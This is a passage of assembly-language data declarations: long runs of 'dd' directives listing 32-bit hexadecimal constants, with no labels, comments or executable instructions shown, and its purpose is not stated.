dd 0E966F23h, 20E5A875h, 2A13B060h, 0AD004617h, 34585ED3h
dd 0F407D141h, 0F974E9h, 0DA9BDD0Eh, 467D880Bh, 98781070h
dd 8452AF12h, 5880BC00h, 0A4E6D1h, 0ABAD682Ch, 1E99505Eh
dd 0A6D0D0Eh, 1A08009Ch, 85D3D2h, 0D7D0E87Eh, 841FA3A5h
dd 0DE108602h, 64EDE981h, 0E4FB3CB8h, 0D9D3F860h, 0CCA89E0Fh
dd 0EF760A1Bh, 0B006E0D2h, 99319704h, 0BEB20008h, 0CB8DB479h
dd 0A550841Dh, 4C961AC0h, 155172B9h, 34EE5530h, 0A5397C30h
dd 0E3072B11h, 1420556h, 0F8FEF40h, 0B8CD506Eh, 2A5F12FDh
dd 0D53004BEh, 0BAB4093h, 0C29AE5D9h, 0DBFFC511h, 0E9F0D8A0h
dd 0BE4042ECh, 30377BDAh, 35117617h, 0BB0C9108h, 0D06DF731h
dd 0A698C8DDh, 0F4FE833h, 0E49A4E19h, 612A099Eh, 57E8A080h
dd 8A31BCA1h, 0C49D799Ch
dd 928341ECh, 0B0AE6708h, 493A68EAh, 0C8044D24h, 0DFE34E5Ch
dd 9803C542h, 14D6AB0Ah, 3688099Ch, 6C905784h, 3E05619Bh
dd 87F4DED3h, 1730BC70h, 63AD00D6h, 541BB494h, 4D00E14Ch
dd 0F5793B8Fh, 78D1E6ABh, 0FA31C0F8h, 72D42C8Bh, 3CD3C26h
dd 0DDCE14h, 0C0887889h, 3FA2EBDDh, 0A72A8503h, 0D80098B8h
dd 1844A864h, 33116418h, 332FFD51h, 0A3F099C6h, 0C35A3811h
dd 8C29B0Bh, 1C400012h, 2808E38h, 11D91646h, 0FB844647h
dd 0F4075182h, 0F9688EE7h, 9FE06A47h, 155D011h, 0C2A9E630h
dd 19437FDh, 9832EBD9h, 63099B05h, 1EDC1F78h, 640C24EEh
dd 328840DAh, 6C8410Fh, 5F0A1933h, 0A891307Ch, 0F0A94880h
dd 129E83h, 6072FC93h, 0B02F21D6h, 83A17869h, 0B448DE64h
dd 197EEA06h, 0C4E0D462h, 9E730174h, 40C8ED47h, 9544E68Ch
dd 0C4A06B51h, 0BD604A4Fh, 66F09418h, 0BA59C1CDh, 0FCC36E30h
dd 2300C4DBh, 8A5C2E0Ch, 702B3429h, 30E2483Ah, 0B8DE5708h
dd 52D6AD1Ch, 11882050h, 0FB29CAE9h, 0BE9C00F8h, 622032B7h
dd 0DBC01F00h, 17B6E4A6h, 22031CFDh, 19857F58h, 56C2B3Ah
dd 916B1A88h, 7C39674h, 80C8F867h, 0B531D35h, 2272F90Fh
dd 11198460h, 7573097h, 0F2BB704Dh, 0A28930E1h, 590CCF35h
dd 0E9D65E4Eh, 282300ADh, 0DA7D2EA7h, 860F34ECh, 0E1DC7980h
dd 52A3321Bh, 3A88CC30h, 5585D564h, 41A5B4F6h, 0EA4FFEACh
dd 0B0C104CCh, 78029BC5h, 0B4AF8C82h, 0E320E444h, 48EEF867h
dd 93014D30h, 322F9E72h, 4AE82066h, 0C92D526h, 0A2E980BAh
dd 0EE53D3ACh, 48A160B0h, 0BE4706D1h, 0E8709661h, 8311B6ECh
dd 6E4225Eh, 0BC620F6Ah, 4594219h, 0B34E4CEAh, 23570701h
dd 8878BF51h, 3EB28AE7h, 0B6BA478Ch, 0D45C4860h, 60EE17F4h
dd 1A197C41h, 1B07465Bh, 0BF261883h, 64035124h, 66103A1Dh
dd 7C518856h, 8AA42FD2h, 9FB49048h, 3302BEAFh, 325708ACh
dd 0E264E8BBh, 0F6D33E7Fh, 0FB9C064Ah, 688441CDh, 86603FEEh
dd 971AAE81h, 0C7F61D9Ch, 878A41Eh, 0E907CD76h, 5684A6D7h
dd 0DBA00CD0h, 91E06066h, 5B3E4F8Ah, 51C1D907h, 9C30AF10h
dd 58975045h, 0B3016C73h, 0D25556FEh, 7012E570h, 438A76C0h
dd 0FA1CA953h, 5A83AC51h, 9E009432h, 640A8770h, 64B2290Fh
dd 2C548425h, 887F486Ch, 287B7BD4h, 122D3001h, 239F72D7h
dd 909EF820h, 0C256200Ch, 50058737h, 4F068298h, 4048AF8Eh
dd 0C9400E4Ch, 0D6530843h, 22259AB0h, 57AF450h, 64C004AAh
dd 824A218h, 319ADA2Fh, 50CB5D10h, 996A4690h, 0DFD38500h
dd 4175663Fh, 678103ACh, 0BEEF6265h, 0CD3122h, 2D7DBC79h
dd 83AC275Bh, 0B9D1DF00h, 0DDEAABD8h, 8A250222h, 6556841Ch
dd 5F17F052h, 88417712h, 9654D655h, 8C20B025h, 546948D0h
dd 16D5421Fh, 16C421ADh, 33188E65h, 9C26BC1Ah, 8C2CEB40h
dd 1C4900AEh, 3890F015h, 8A315F08h, 7135E0C4h, 52F35888h
dd 841B640Ah, 36C29D47h, 348209C7h, 5C03DA5Ah, 51E102E1h
dd 1E7C6E09h, 86CC58E0h, 7C3390Ch, 0E7E21DFh, 1FE7EF12h
dd 8CA3D287h, 10A05C18h, 0A5014833h, 19231C5Bh, 6474C312h
dd 7C3B1E85h, 44A82ACCh, 0F9F009D3h, 0A100BE7Dh, 34388394h
dd 96FF39B9h, 40E90040h, 443719B7h, 648310C7h, 5D306879h
dd 2649C0D5h, 302AD3A4h, 62170D1Fh, 0F679C440h, 7F161Bh
dd 0FC12927Dh, 0CE1EA8B5h, 73EBF500h, 0BF62CB45h, 1BFE39A6h
dd 0A88316F4h, 0E2581F22h, 1891593Fh, 5D81BF02h, 3A904889h
dd 0B05A2901h, 40B9FE2Fh, 1C324A8h, 5B91D860h, 4C8A05ADh
dd 9C22DC5Ah, 5F654504h, 40B39B06h, 0EB121B05h, 0F909391h
dd 24E9C0CFh, 0C003E11Ch, 0FE428A6Ch, 79EEB8C6h, 707D0083h
dd 0BF10084Ah, 0E3291849h, 0D0C204ACh, 9EC80003h, 2100F1AEh
dd 0B52FBE01h, 0CAF5B07h, 0EB77D6C2h, 0BD0CE318h, 40E62EC5h
dd 7FB900DEh, 0F638ABA0h, 0E260FF61h, 0CE525B18h, 0AE730F55h
dd 0AF8FA5F0h, 0D73FBC80h, 180CD1B0h, 3874942Ah, 0FEC4F047h
dd 19501F44h, 0D01A7C33h, 301C10A4h, 452D7208h, 0DC44F40Ah
dd 4391C6Ah, 78AE4954h, 0DDD6D280h, 0F70DC14Dh, 29C0D129h
dd 0A0AAE6F0h, 8D2698h, 0B0BE4847h, 0ADE56DA5h, 8B281350h
dd 8461B97Ah, 0DB4E2978h, 52E4B448h, 0BA1FA83Eh, 30082AC4h
dd 85D9865Ch, 41DE7221h, 0E59E9604h, 0BAF67840h, 0C4A823D6h
dd 0D1303250h, 0C40479D8h, 0D4C35771h, 8102D018h, 312AC2C5h
dd 0B00A1829h, 0F0450757h, 0ACDE9C80h, 60019E99h, 449B70ADh
dd 7B0083F9h, 0CB24422Ch, 0C5BAA6Ah, 5446AC9Dh, 4441EFD0h
dd 491DC4D8h, 841228C5h, 98302345h, 8CD9D807h, 8DC7D0F6h
dd 1F822380h, 0DFF40037h, 46E0E403h, 0B8882B8Eh, 9F4CA367h
dd 0CAE5AA3h, 2883FB58h, 8C0EE9D1h, 8EA5D166h, 17A1805Eh
dd 1BC2D15h, 3F24F901h, 81AB2041h, 857AA91h, 1180AFBAh
dd 0F541A022h, 842A967Ah, 0E562B044h, 20399E10h, 3583BEBDh
dd 0C22ABCE2h, 5515C46Dh, 0A128AB23h, 0C1FABDCh, 580509C0h
dd 941E54D0h, 0EF08008Ah, 6D07F597h, 0F315F244h, 1A4512Fh
dd 0BAF931BFh, 405A3457h, 0F3C39203h, 39005030h, 29EB2CCEh
dd 0CBD793Fh, 0E4DC7EA5h, 1B3A1E91h, 53527846h, 3C472BD8h
dd 60859658h, 71D05940h, 0D9C301EBh, 42E0BA09h, 7EB23431h
dd 29C98117h, 0FCEA2C2Fh, 1C317925h, 4E3D1A3h, 52A3AC8h
dd 84B05E50h, 2480AECh, 1B64D9BCh, 9765080Ch, 4976F661h
dd 0F8806C90h, 0A281AD04h, 0BDBCA1E2h, 619409C7h, 0D3215443h
dd 3385F08h, 0F3982E30h, 713843DBh, 0FE00FCC2h, 9CD010BAh
dd 14C0BF32h, 0DC190A83h, 70907Ch, 1AC2FCE1h, 0B7F96B2h
dd 7BB881C1h, 0F5F18D47h, 0A459204Ch, 915C31BCh, 205F2C99h
dd 0A0908A9Ch, 77628D0Fh, 0DDDA82A5h, 801048A3h, 2D38C03Ch
dd 0E231945Fh, 91018177h, 0D69CAEEAh, 82F0E902h, 1079CBh
dd 0F58D80B8h, 2CB2EBCFh, 9754EC00h, 4D1D479h, 0D3221E94h
dd 0FCD9C03Fh, 1A6C2AE9h, 188FB700h, 19FDBBDEh, 0FBA01E4Fh
dd 20007EA3h, 7797565Ah, 760E6EAh, 153FCD40h, 0C6E200ABh
dd 0DD059E2Ah, 0D239E768h, 3CB800C9h, 189FC8CCh, 0EA6D03E2h
dd 0EC4A8555h, 4D9450F7h, 0F08090C5h, 882058C6h, 0FDAA0491h
dd 0DA76F850h, 0A1171285h, 67D800E2h, 0E760DB1Dh, 1308CA00h
dd 0B73D4063h, 1E2739Eh, 4851587Eh, 0C5C3E93Fh, 80D9D522h
dd 77EAD740h, 0CA8F63h, 0E1E868B1h, 2675A4C9h, 0A7F04800h
dd 4A0198ABh, 7342005Dh, 94BFCA0Eh, 8308D93Eh, 0EBD01Dh
dd 95DECB55h, 0C900E6D3h, 0A13471D6h, 0BDDBC8h, 91447EB3h
dd 0D3104E92h, 4221FE00h, 0A41DD21Fh, 9A7701F5h, 95E32868h
dd 3383045h, 0D0759491h, 7A00CF7Ch, 0E9ED0611h, 4CB6C29h
dd 0E7D268C0h, 254F80C9h, 9F5CF8CCh, 182C0019h, 0E179925Eh
dd 21550327h, 1C82D37Ch, 60AAAFD0h, 0DB19D901h, 520BE76Eh
dd 3B2D7FE4h, 0D000F3A7h, 441C7C8Fh, 0E2184546h, 0D540C30Bh
dd 910F2090h, 10D69600h, 0BD068B2h, 0B9AE0008h, 60C43E39h
dd 58F8AC07h, 4500B490h, 2055DE0Fh, 1D90E7BEh, 4FAFAAE3h
dd 0B2A18F9Ch, 661DD062h, 66A0AE8Ch, 0DC017A5Dh, 0F5D9EE3Fh
dd 1FE897E9h, 845F01E5h, 627FC927h, 17900058h, 0EA6705B1h
dd 80083A50h, 6F94605Ch, 1CD6DC03h, 0CFB2E49Dh, 67B51BF0h
dd 10DF0144h, 92407AAFh
dd 0B3EBF4FAh, 0DBFA957Fh, 0D3D65600h, 0F7BE23C4h, 94140085h
dd 0C567E3EEh, 9A00E2CAh, 81C9CC82h, 0EA972F65h, 0F0ED0060h
dd 465B192Ch, 0C200E675h, 0ACBD9607h, 0AE1787h, 9D63B5AFh
dd 0D290A405h, 9FBEDD05h, 0AC82327Ah, 5CE120A9h, 0E2294248h
dd 4238811h, 0F53EF67Fh, 286A807Dh, 21EF4785h, 53953AD9h
dd 344AF57Bh, 46B3FB0h, 0C823B500h, 688FE420h, 56A90722h
dd 38E5D003h, 60E71E50h, 2D94189Ah, 6C74B01Bh, 7421840Bh
dd 0C028E098h, 77B8000Ah, 0AF5B265Dh, 7029449h, 228CD2FDh
dd 14DA55h, 4CB0B6C8h, 80E4011Ch, 0D37BCA3Ch, 0FCF5051Ch
dd 50F4DBD2h, 47580072h, 46AF5CB9h, 0BCE4BFF4h, 0DC29AE00h
dd 5F960121h, 40336071h, 0AC9CC3BAh, 37EBD311h, 2170300h
dd 0A520BC79h, 0F165FF1Ah, 48F208h, 5E02FEF9h, 19554E1Ah
dd 0B06DE403h, 0C64831BDh, 9A3022E8h, 117F9619h, 0D2E19D59h
dd 1FFA3448h, 0A3BC7C02h, 0F8000911h, 0B16D0201h, 91F6F931h
dd 0B50443Eh, 0E3C330F4h, 3BDD9040h, 83E60071h, 9EBB6A40h
dd 0E8D9DE3Dh, 0C819E070h, 0BC237602h, 3D081128h, 1C0200FAh
dd 8E9C80CCh, 48AB6135h, 4242843Ah, 0E8F283C8h, 6BF59300h
dd 0AF73207Fh, 0FFBC0780h, 50EF0ED6h, 0B3D147C2h, 6AB081E3h
dd 461FAE5h, 0CD384900h, 8ACC7101h, 8345D0C6h, 3730C87Ch
dd 71B54221h, 0BC29AD03h, 8823E2B8h, 0AFB66D9h, 3A6957D7h
dd 0EA983CDCh, 1561B907h, 0A79F3B00h, 90CDB708h, 0D7DC00BAh
dd 6F369709h, 9D3B4FE3h, 8CD03E8Ah, 0D8BC3D8Eh, 0E8301972h
dd 0F8965048h, 615EFB4Dh, 9486D040h, 0F19EFE57h, 0BE707C80h
dd 0B90874BDh, 0F20A7891h, 0B000E0D1h, 3EE41BA5h, 50256F81h
dd 0B920A054h, 0C40EC900h, 0CB4703F4h, 0C767984h, 0DBF1B672h
dd 3F73A820h, 0C8380960h, 81FE509Eh, 0EB1F0B0h, 0DFC1F1D8h
dd 0C8C95203h, 79A9AC00h, 8FBC1776h, 0C4B0D912h, 48DE3CB1h
dd 7183CCh, 0CBA1FE76h, 9767B25Dh, 8868CCBEh, 0ADD0908h
dd 5C30AA9Dh, 6505A046h, 403AEB5Ah, 954FCE8Ch, 2F00F2C4h
dd 7A661BD1h, 646D21h, 7883CADEh, 68E46EFh, 1B70A862h
dd 0A8AEC8h, 7ADD4309h, 0F28A3BA2h, 0BDD305F4h, 702B92Fh
dd 0C062CA84h, 0BA0A5455h, 0B4A7EF24h, 0A2D16504h, 90993896h
dd 0F5E5248Bh, 71C4C13Ch, 53347CE7h, 134223Ch, 0FC71CC41h
dd 23FAB2B0h, 69D30004h, 1CEC933Fh, 7EEA0005h, 5296F9CFh
dd 7BEC80BDh, 7B0EB53Eh, 0A3F6F3Dh, 0A8C6B986h, 0C1006C22h
dd 877ABFEAh, 157D362h, 0AE61E080h, 26E93Fh, 30298ACFh
dd 6D0D6FBh, 0B70CF3BAh, 20541977h, 67097A44h, 410251E2h
dd 80B01D6Fh, 0C4D8CC11h, 12DA23C1h, 0B02B371Fh, 21C0B56Ch
dd 87C4E0EFh, 77140C43h, 8319A91Ch, 6447600h, 36A323Eh
dd 0D0891D67h, 1E2EC181h, 50952FF4h, 0DB15C4A8h, 5F707106h
dd 0A41AD2Dh, 0FF8E0123h, 218507BCh, 7C9879FCh, 4684AD54h
dd 2F502D9h, 31F0BC7Bh, 0FCA3100Bh, 13C80002h, 9B63A8AFh
dd 8AF86029h, 19C030A3h, 78C194B6h, 0D4AC8F63h, 8F43048h
dd 8BC7A02h, 0A6400CC4h, 3B3C02FBh, 0F90B40Eh, 8CE96094h
dd 88A4C029h, 1C326236h, 40BEE9C2h, 2DC12Eh, 50D7D945h
dd 6B2959AAh, 41947900h, 71D6C213h, 4C9197B4h, 1C01D228h
dd 0DC4FAD2Bh, 80CEB3C8h, 36AAFD30h, 8E720CE7h, 0BD68E265h
dd 6DE99504h, 7498FEE5h, 0D87108C1h, 3DC4668Ah, 71C95E40h
dd 0F400580Bh, 0A370609Fh, 308EBDADh, 0BE58CEB5h, 52594D57h
dd 0D9E0C90h, 0B818C8h, 23D2446Ch, 0B44DD124h, 81348097h
dd 4A04980h, 19466638h, 0CEC880EEh, 50034509h, 955FBC75h
dd 0E1500030h, 10D05D20h, 0C80F63DDh, 60646EFBh, 3F4518A5h
dd 0B8C906Dh, 0AFDC47Eh, 0E4576780h, 84D215Eh, 388B15D4h
dd 77DE04F4h, 9CC80C09h, 1A041255h, 23383A01h, 32A60301h
dd 0CF9842BAh, 4F13779Dh, 0E4080CABh, 2FB084A1h, 0E4C890C5h
dd 0B003318h, 0BF4882E3h, 0A4D8CECh, 72EDC912h, 2C521C90h
dd 79D0A180h, 7771831h, 9C031B80h, 5EE0A59Eh, 981C9C0h
dd 46600898h, 99C3BD80h, 8A250B58h, 1264D38Ah, 397709A9h
dd 6DF29420h, 119DC14Dh, 2070EF64h, 0E10201E7h, 0F0978A1h
dd 8D346082h, 0ED079505h, 0B8258396h, 27610C04h, 0AA15B642h
dd 5C9D008h, 2098CCE8h, 0E760478h, 32D697BCh, 707E2098h
dd 2F013C76h, 7A918BB7h, 0AF3095CCh, 24B25CD0h, 499C9200h
dd 5BBA5350h, 0ADB87760h, 762DDC54h, 8F932CBCh, 0DB9D8C64h
dd 88C87B91h, 1E76C7CAh, 0D967BCC2h, 4E900016h, 0BF735878h
dd 404BC07h, 2A8134B4h, 7464CCC7h, 3DC40416h, 330612D0h
dd 0C841082Fh, 7DC0B570h, 58BCF376h, 87E09C6Fh, 0C5027675h
dd 0B3B98C59h, 0AA04048h, 10724D49h, 32C4CF87h, 0BF31D223h
dd 82D7EA11h, 8F5D5C5Ah, 467CC4E5h, 71CB01FCh, 0D0F68ACEh
dd 58880E0Ch, 677100B3h, 212A123Dh, 0E0C3E592h, 0A61A88h
dd 0B5B06E69h, 75D990E2h, 0D1A0FAEAh, 8DFF4CDh, 0F84D8BBh
dd 40BAFCBFh, 4EEF0F72h, 9503045Fh, 0ACF5EAh, 4ACF3F76h
dd 0ECD40080h, 6D97E06Ah, 0BA025F28h, 0AE16512Dh, 189C4413h
dd 81A4BB09h, 8614BCFBh, 61F0BE81h, 0AA832C78h, 5B4C043Bh
dd 666300AEh, 4CE2C15Ah, 0DD1094ABh, 0BCC626DAh, 0E6807111h
dd 0AA23C3C4h, 0E5D8448Ch, 0C4CE3Dh, 0F3A22C1h, 5C7A695h
dd 42C923FAh, 0A0788891h, 74843F72h, 0BCB984F7h, 61180959h
dd 46032917h, 0BB4A430h, 0ADBA0105h, 0E598A68Dh, 6586712Fh
dd 0DC883018h, 5C9300E5h, 61E8A8F9h, 3195061Fh, 0A19FB9C0h
dd 0C440AB58h, 0D1301B48h, 2329CAC4h, 0ECC08482h, 77C4D9h
dd 30CAA4A0h, 0CD1CD401h, 4F610C38h, 0EB911480h, 0FB1B032Bh
dd 8496C8CAh, 29CD40E4h, 0B00CD6D1h, 0BC630404h, 448E02Fh
dd 2CC88296h, 4D3F10B0h, 2F5C1823h, 1C288C9h, 0B112763h
dd 0FCD40DA2h, 0C300C79Ch, 0D075CE10h, 5CDA9EC2h, 4E251073h
dd 0F1B6F021h, 5F3E00DDh, 0E95440BDh, 0E0898A1Eh, 5092B4A4h
dd 3CC8108Bh, 0DCFCCAC0h, 1694FCD9h, 9C1F2FFh, 0DC468158h
dd 0BC489D5Ch, 9E038C0Bh, 8C46F530h, 4A9D681h, 0F272E9FCh
dd 0ACF4D047h, 389662D1h, 8619DD00h, 2A7072C0h, 30ACD830h
dd 5EB1075Ch, 7D00F1CFh, 9DEF3565h, 3FD675Ah, 0ECBB3AEh
dd 0F2801BEAh, 297D63D9h, 0AF0CE57Ch, 481EA157h, 7D8E3D46h
dd 0BDA3D06Fh, 590005C2h, 0C818408Dh, 0C4129686h, 90BE1E20h
dd 0DBF50A18h, 0D8D76800h, 0A930389Fh, 94821E88h, 0BC664A3Ah
dd 0ADB3C094h, 0B9128A57h, 6402D748h, 0A8C13F89h, 0E4899008h
dd 918C9709h, 0F64287D7h, 0BB62C0C0h, 6E46192Ah, 0C4BE36C9h
dd 0C61E4192h, 0A6D32129h, 726F0F7h, 8502B2Ch, 0E1000C29h
dd 1BA4D2CFh, 48BE5008h, 0B9EF000Eh, 1F722BF7h, 741E2EFFh
dd 3400990Dh, 0F3ACE9E2h, 68F164ADh, 55848178h, 86BA013Ah
dd 0C630E9F6h, 7E007866h, 0A4EE9B64h, 8CE47BE3h, 0D1092AFEh
dd 24450726h, 0CE60FB60h, 8A10CD71h, 30C8D0EEh, 71B64380h
dd 2E75B285h, 0E00487ECh, 0AEA9D69Ch, 849B88C0h, 2B2D06h
dd 42B1925Ah, 0D74FC416h, 7B2660F2h, 467424ABh, 0D46700BFh
dd 3FAFD1EEh, 345349B1h, 0BE89AE08h, 0C95C2905h, 5FECE4CDh
dd 293167E9h, 0E52914F3h, 0AD08305Ch, 0B8BED640h, 0F30341CCh
dd 98E83DD2h, 962E7AB0h
dd 5F676089h, 1620B4h, 8C414CDCh, 7309B161h, 230A8D97h
dd 1C71B38h, 37FFA7B9h, 0F4D55E13h, 0C9EE8A60h, 2523F939h
dd 7D7000C5h, 0EE426AEBh, 449531B7h, 803E8338h, 0E67B10A9h
dd 7C48A117h, 2F5DBFh, 93C0A048h, 96535F2h, 5E2A8F7Bh
dd 3700D80Ch, 1DFEA788h, 281B7556h, 3BDD0DE0h, 0D104B403h
dd 0C129BF7Dh, 23443C73h, 300EB208h, 0BEE41568h, 65F20602h
dd 7A32C66Fh, 0CC6D540Ch, 717716B8h, 9B88338h, 90A0C6F2h
dd 47220D1h, 0C3EB84A0h, 55F4B4A8h, 0A05984E2h, 0C0C7298Ch
dd 902DC589h, 205471C8h, 953CAB8Dh, 93109224h, 4F13FC49h
dd 46BEC0A0h, 890FD0Bh, 0C680A9E6h, 0A6C818DBh, 4FEB58F3h
dd 0B30F1CBAh, 223EFA59h, 0C2C0CF02h, 0F1D85198h, 0B018D7h
dd 0CBCD2123h, 9625C5C7h, 0FBBB3505h, 808977B7h, 44BA7060h
dd 191B298Dh, 0D798A83Ah, 51462C72h, 18B3D908h, 5B240FE7h
dd 0BB647689h, 985848Eh, 9C5A2E80h, 0C0F05528h, 272E020h
dd 0F3EB782Ch, 68516E30h, 7B80B311h, 3FBCF576h, 89C3D742h
dd 0F1837673h, 0E0BC64AFh, 0A76483D4h, 6C885C21h, 80890029h
dd 569E7C5Fh, 21008C18h, 3999C981h, 497F9772h, 0B62418EEh
dd 0A78A0A30h, 1F7A168Ch, 604E1393h, 0C0C4CB3Ch, 11B22323h
dd 0D3EE14B4h, 62E604D8h, 0D4C1F173h, 60F6B7F9h, 81AE65F0h
dd 0F8221Eh, 3E1D84F3h, 10DEEFDh, 2E2D1CDCh, 693F83BDh
dd 13F43C98h, 0E042215Fh, 51CB43F3h, 18B67930h, 0E8972CF8h
dd 8B3B0880h, 0B6C8C304h, 21852CD0h, 229E4F70h, 8CA07EA8h
dd 36D123C8h, 0C5C5F444h, 8AA81A10h, 3A817064h, 0E4C1B612h
dd 9D7A1003h, 45590011h, 8260481Ah, 0E09D0A6h, 65BA3169h
dd 608DE4A0h, 0FE4CA23Ch, 7CD40064h, 9EBC8B76h, 149CA311h
dd 29346DEh, 0E9CB84F6h, 9394C646h, 32B17810h, 2CD1F82Ch
dd 18CB9C13h, 0CEAC509Dh, 1536A0F7h, 94619B6h, 0AEB80861h
dd 3221E810h, 78007C94h, 2C3B769Bh, 7847F9F4h, 0D4C3DB20h
dd 0E56D26E4h, 0BF467434h, 5CF09F06h, 5A00D90Dh, 6FAA39E4h
dd 2C7603Bh, 0F3ADAB80h, 10C7DADDh, 6437C4h, 0F0939AF0h
dd 8A040C6Bh, 7BE45961h, 8A8810CEh, 98935DC3h, 0A48CFBAh
dd 0C2BCEDFAh, 0E4EB44CCh, 4F005F14h, 77A13E28h, 98A91Dh
dd 24079EFBh, 0ABC9D231h, 28610B26h, 8F50F647h, 0FD544FAh
dd 60524B8Ch, 0BFF8BBE3h, 1CF480DDh, 7D0BDC85h, 0D015307Ah
dd 0B9446874h, 1B4930DCh, 0BD00301Fh, 81D0E2F5h, 4629095h
dd 0AFE6D714h, 0BDACA461h, 6E935300h, 0DAD4A50Ah, 4F57DCCh
dd 57BA52C8h, 0F9BC8099h, 640063CFh, 9EF8AAA2h, 12F3E1D2h
dd 4198C53Eh, 0D8F7D9B4h, 80D828D7h, 447EF023h, 63B503A8h
dd 0D18BF718h, 0FAE26AC0h, 0EA81962Dh, 0C82CE3E0h, 243CF2DAh
dd 42B0E5B7h, 4227BD3Eh, 0C8D75D22h, 0D2F57Ch, 0CAF9C1D1h
dd 6F5EB2B3h, 297BC2E8h, 6806064Fh, 612FEBh, 238FE51Fh
dd 0B946D6FBh, 650EC2F6h, 892FAE62h, 0B6E01129h, 76097A18h
dd 1C47BCF4h, 72840000h, 1D6A3476h, 0EF76F579h, 9AA0202h
dd 0CAD2B708h, 44F047B8h, 0B2060B9h, 0B875018Fh, 0BCF0B2FDh
dd 0ED14EC74h, 49A45900h, 18D97363h, 47042C8Ah, 16E02CACh
dd 0C18C80F5h, 9D2C1FB9h, 0BD62FCABh, 39D0E4BEh, 4C011E71h
dd 0C2F36927h, 6CB2FDD6h, 0EF7E89F4h, 269960BCh, 3B5484B1h
dd 5B00DFA4h, 75224478h, 0BB38A2h, 7E4E200Ch, 4D2F3C60h
dd 84182A5Fh, 5D9BACD0h, 5EE814ABh, 4DBD6800h, 0B744E6FAh
dd 0F8DB5C01h, 2723D184h, 0D032DAD5h, 88349373h, 4623CDC4h
dd 0BA227Ah, 28C4D4EBh, 3C998901h, 616E5807h, 0C08CD11Eh
dd 20A5415Ch, 3DE1F698h, 0C3E83AACh, 0D80BDC22h, 0FA2F5957h
dd 0A54D2104h, 0AC30D00Ah, 8A647E81h, 41F2BA65h, 5C022088h
dd 0E766E890h, 0AA2BA004h, 6904BB5Dh, 63833B6h, 0D8822549h
dd 2B0C8843h, 0A03BAED1h, 20A36F05h, 0CE18FA0Ch, 9800F346h
dd 5296D71Ch, 0DD303FBEh, 86C8802Ch, 680D69F4h, 0C790459h
dd 0FAE8EE18h, 0CF368C13h, 80355C08h, 0C10D9D5Eh, 4A1C7B78h
dd 0BB7740h, 8616BA6Dh, 32C05D43h, 0AB60585Ah, 0C699C8C0h
dd 596AA880h, 0DCB8F4DCh, 55636400h, 848AFD8Eh, 3CBE9A59h
dd 0A5122C18h, 0F224B2B0h, 0C5393095h, 3C32FD02h, 0C02C9C62h
dd 4BD9Eh, 0D48274BEh, 980594EFh, 39C9470Bh, 7140E0C4h
dd 24754824h, 945231Eh, 0C4A38429h, 915A07E1h, 8D23D02Fh
dd 5DD62C01h, 0A280AA0Fh, 0ADF21F46h, 112477B7h, 0D3649008h
dd 0ED610C45h, 8C7D0EE8h, 0F386200Fh, 307C546Dh, 0D229C71Dh
dd 0D000600Ch, 4F337509h, 13A9961h, 0FEE25489h, 30CFDAD8h
dd 2D2757B8h, 21C8A238h, 6AD0FADCh, 86019C5h, 0E612CD81h
dd 0E5658404h, 0B8898D02h, 833298F0h, 0FC5CD9CEh, 19608h
dd 9BA0EE7Dh, 0E900A9FCh, 0D8178DC8h, 1221247Ch, 0C3450DAAh
dd 48FE1B48h, 0C05B654Eh, 0CBB6E160h, 0BC90C58h, 0D013F37h
dd 0A011141Fh, 0D429E880h, 0F91231D6h, 7CF2D16Dh, 0B295935h
dd 8CE4A164h, 910E8921h, 19290F55h, 71C93996h, 0BD00D6E5h
dd 988804C9h, 0FEB7161Bh, 23403B01h, 0AC5E00B3h, 0CADE918Bh
dd 0AFB9F704h, 10937557h, 0B194A7E9h, 0F3BA0E40h, 66050F9Ah
dd 3622D83Fh, 0F87008D0h, 0D3D103F6h, 0A81C898Ah, 0DFFAA807h
dd 7792918h, 3C18BD00h, 0EBE52D04h, 1520D03Ch, 0DC0033DDh
dd 0BC085D8Ah, 262A2FD6h, 1A80E27Ch, 0C89D8839h, 43809311h
dd 982A90B5h, 0FC86BA0Ch, 736680FDh, 918C007Ah, 99022BD6h
dd 35500859h, 1E43DDC4h, 0D3DD885Ch, 227081E4h, 6675F103h
dd 0C4CA0724h, 654923BFh, 0D2F18098h, 0F0E43EC4h, 51657026h
dd 24F27D05h, 8348CB5h, 3C1F88CDh, 841024B0h, 0B50FABA8h
dd 0BAC1B33Dh, 0D72FAFC3h, 81AC5A83h, 0A62924h, 4E1A5872h
dd 881CCDA2h, 81DE1D58h, 0C6739120h, 0B086329h, 0C05FB98Bh
dd 1F1947B4h, 3A4380BCh, 0D1184883h, 0C2AF4C8Dh, 809090C6h
dd 4625212Ah, 20F4A20Ch, 0D9E109Dh, 7830AD41h, 101E42F1h
dd 0C58EBEC9h, 258B3D91h, 96F842F4h, 0C8904598h, 0F9F04D8Ch
dd 10A992FEh, 0E8DB1580h, 387BC880h, 1600FB87h, 0BA0C9EB8h
dd 19B65F1h, 1C0B2358h, 22BD08E4h, 0A42C3B80h, 0C1091425h
dd 0CFA09927h, 0C7532C10h, 8ABD1F3Eh, 5831AAD8h, 0E94196C4h
dd 545C818Ah, 0A6C804BCh, 266301E5h, 0EC60C5B8h, 454586E9h
dd 30EAD461h, 0CB1171C0h, 3D88BE8Ah, 71C883BCh, 0E70D8D92h
dd 6B1356E0h, 498C4E97h, 7004C8ACh, 0B67D41F2h, 10665177h
dd 0E05B022h, 327ED6EAh, 88A3D428h, 4A40D096h, 45042199h
dd 0BC099311h, 74208586h, 19429263h, 0C0088A25h, 75EF06C0h
dd 372975ACh, 1E6810D0h, 0A46A1211h, 888F6828h, 0B9168C06h
dd 0A456967Fh, 81876C30h, 0AD273EC2h, 7C551472h, 0E911CCCDh
dd 0B5670091h, 2FAE74D9h, 0ACF9D461h, 11C24939h, 0A59DB8F2h
dd 89A4BCA0h, 430FA926h, 14F2B76h, 54294714h, 0FE969ACCh
dd 8CC4BCE4h, 6C68F473h, 0BC14C505h, 0DFC57B39h, 4F652828h
dd 67589843h, 310E4C00h, 0E0218438h, 5598A23Bh, 0AC9C5C02h
dd 46765474h, 0D2880509h, 0D0409782h, 13129F4Eh, 34BE6A2h
dd 0EA1EF9DDh, 0AD873F7h, 944E69DCh, 1923EC82h, 8C220DC3h
dd 0DEC298E7h, 60D45C89h, 0B19B6B66h, 0E90EBE01h, 7C47B017h
dd 0BA273C6Ch, 0E1284CC4h
dd 5174D4AAh, 0C9AF1B80h, 0ACA02C59h, 0E623F052h, 71D9C002h
dd 61D7FAB5h, 0DCF8DBBCh, 0C3144A3Ch, 997429FCh, 0E28C4C16h
dd 0BDF97405h, 7CAF9C40h, 0A07108D1h, 2720A330h, 4C803A6Ah
